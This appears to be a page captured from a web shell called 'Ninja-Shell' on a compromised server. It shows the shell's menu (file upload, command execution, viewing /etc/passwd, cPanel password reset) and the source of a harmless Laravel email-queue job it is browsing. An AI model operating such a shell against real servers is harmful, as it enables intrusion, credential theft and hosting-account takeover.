{Ninja-Shell}
Home
Info
Upload
Command
View /etc/passwd
cPanel Reset Password
Filename: /var/www//arsu//app/Jobs//SendEmailJob.php
<?php namespace App\Jobs; use Illuminate\Bus\Queueable; use Illuminate\Contracts\Queue\ShouldBeUnique; use Illuminate\Contracts\Queue\ShouldQueue; use Illuminate\Foundation\Bus\Dispatchable; use Illuminate\Queue\InteractsWithQueue; use Illuminate\Queue\SerializesModels; use Illuminate\Support\Facades\Mail; class SendEmailJob implements ShouldQueue { use Dispatchable, InteractsWithQueue, Queueable, SerializesModels; protected $mail_to, $data; /** * Create a new job instance. * * @return void */ public function __construct($mail_to, $data) { $this->mail_to = $mail_to; $this->data = $data; } /** * Execute the job. * * @return void */ public function handle() { Mail::to($this->mail_to)->send($this->data); } }
./Ninja\.